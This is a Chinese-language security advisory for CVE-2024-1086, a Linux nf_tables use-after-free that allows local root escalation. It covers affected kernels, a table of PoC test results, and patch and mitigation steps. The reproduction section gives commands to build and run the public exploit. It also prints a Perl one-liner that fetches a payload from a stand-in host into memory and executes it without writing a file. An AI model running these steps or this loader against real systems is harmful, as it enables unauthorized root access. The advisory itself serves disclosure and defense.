Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)

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前言

2024年1月，各Linux发行版官方发布漏洞公告，修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞（CVE-2024-1086）。鉴于该漏洞易于利用，并且允许本地攻击者提升至root权限。

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声明

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一、netfilter介绍

​netfilter是Linux内核的一个子系统，允许实现各种网络相关操作，如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分，用于定义和管理防火墙规则。

二、漏洞成因

Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞，由于在nft_verdict_init()函数中，允许正值作为hook判决中的丢弃错误，因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时，nf_hook_slow()函数可能会导致双重释放漏洞，本地低权限威胁者可利用该漏洞将权限提升为root。

三、漏洞危害

该漏洞可以被本地攻击者利用，从普通用户提升到ROOT用户权限。

四、影响范围

该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本（不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15）的大多数 Linux系统/内核，包括CentOS、Debian、Ubuntu和 KernelCTF等。

部分内核版本PoC/EXP测试结果如下：

Kernel	Kernel Version	Distro	Distro Version	Working/Fail	CPU Platform	CPU Cores	RAM Size	Fail Reason	Test Status	Config URL
Linux	v5.4.270	n/a	n/a	fail	QEMU x86_64	8	16GiB	[CODE] pre-dated nft code (denies rule alloc)	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config
Linux	v5.10.209	n/a	n/a	fail	QEMU x86_64	8	16GiB	[TCHNQ] BUG mm/slub.c:4118	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config
Linux	v5.14.21	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config
Linux	v5.15.148	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config
Linux	v5.16.20	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config
Linux	v5.17.15	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config
Linux	v5.18.19	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config
Linux	v5.19.17	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config
Linux	v6.0.19	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config
Linux	v6.1.55	KernelCTF	Mitigation v3	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config
Linux	v6.1.69	Debian	Bookworm 6.1.0-17	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linux	v6.1.69	Debian	Bookworm 6.1.0-17	working	AMD Ryzen 5 7640U	6	32GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linux	v6.1.72	KernelCTF	LTS	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config
Linux	v6.2.?	Ubuntu	Jammy v6.2.0-37	working	AMD Ryzen 5 7640U	6	32GiB	n/a	final
Linux	v6.2.16	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config
Linux	v6.3.13	n/a	n/a	working	QEMU x86_64	8	16GiB	n/a	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config
Linux	v6.4.16	n/a	n/a	fail	QEMU x86_64	8	16GiB	[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config
Linux	v6.5.3	Ubuntu	Jammy v6.5.0-15	fail	QEMU x86_64	8	16GiB	[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config
Linux	v6.5.13	n/a	n/a	fail	QEMU x86_64	8	16GiB	[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config
Linux	v6.6.14	n/a	n/a	fail	QEMU x86_64	8	16GiB	[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config
Linux	v6.7.1	n/a	n/a	fail	QEMU x86_64	8	16GiB	[CODE] nft verdict value incorrect is altered by kernel	final	https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config

注意事项:

​(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y（包括 Ubuntu v6.5）

​(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y)，这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone= 1)，并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下，这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试，但可能也可以工作。此外，该漏洞仅在 x64/amd64 上进行了测试。

​(3)在具有大量网络活动的系统上， 该漏洞可能非常不稳定

• 带有 WiFi 适配器的系统，当被高使用率 WiFi 网络包围时，会非常不稳定。
• 在测试设备上，请通过 BIOS 关闭 WiFi 适配器。

(4)运行漏洞后的内核恐慌（系统崩溃）是一种副作用，没有故意修复以防止恶意使用漏洞（即，漏洞利用尝试现在应该更引人注目，并且在实际操作中不切实际）。尽管如此，它仍然允许在实验室环境中进行有效的概念验证，因为根 shell 可以正常工作，并且可以通过磁盘进行持久化。

配置

默认值应该可以在 Debian、Ubuntu 和 KernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上，请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞，请确保增加CONFIG_PHYS_MEM.如果您通过 SSH（进入测试机器）或反向 shell 运行漏洞利用程序，您可能需要切换CONFIG_REDIRECT_LOG以1避免不必要的网络活动。

五、漏洞复现

公开EXP/POC

#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit

该项目还支持无落地文件的方法去使用，不过需要目标存在perl的前提

perl -e 'require qw/syscall.ph/;my $fd = syscall(SYS_memfd_create(), $fn, 0);system "curl https://example.com/exploit -s >&$fd";exec {"/proc/$$/fd/$fd"} "memfd";
'

六、修复方案

临时解决方案

1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞，在禁用之前，需要仔细评估确认禁用该模块带来的影响，例如：iptables 可能需要 nf_tables 模块才能工作。

RedHat/CentOS：

# echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用

Debian/Ubuntu：

# sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用

2、如果无法禁用 nf_tables 内核模块，在系统上没有运行任何容器的情况下，可以通过禁用用户命名空间来缓解漏洞。在禁用之前，需要仔细评估并确认禁用所带来的影响，例如：许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。

RedHat/CentOS：

# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf

Debian/Ubuntu：
如果不需要，可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令：

# sudo sysctl -w kernel.unprivileged_userns_clone=0

重启后仍然禁用：

# echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf

升级修复方案

目前该漏洞已经修复，受影响用户可升级到Linux内核v5.15.149、v6.1.76、v6.6.15或更高版本。

相关发行版本已发布漏洞公告，可参考漏洞公告升级对应的Linux内核。

Ubuntu公告：https://ubuntu.com/security/CVE-2024-1086

CentOS漏洞公告：https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html

RedHat漏洞公告：https://access.redhat.com/security/cve/cve-2024-1086

Debian漏洞公告：https://security-tracker.debian.org/tracker/CVE-2024-1086

统信漏洞公告：https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633

麒麟漏洞公告：https://kylinos.cn/support/loophole/patch/5561.html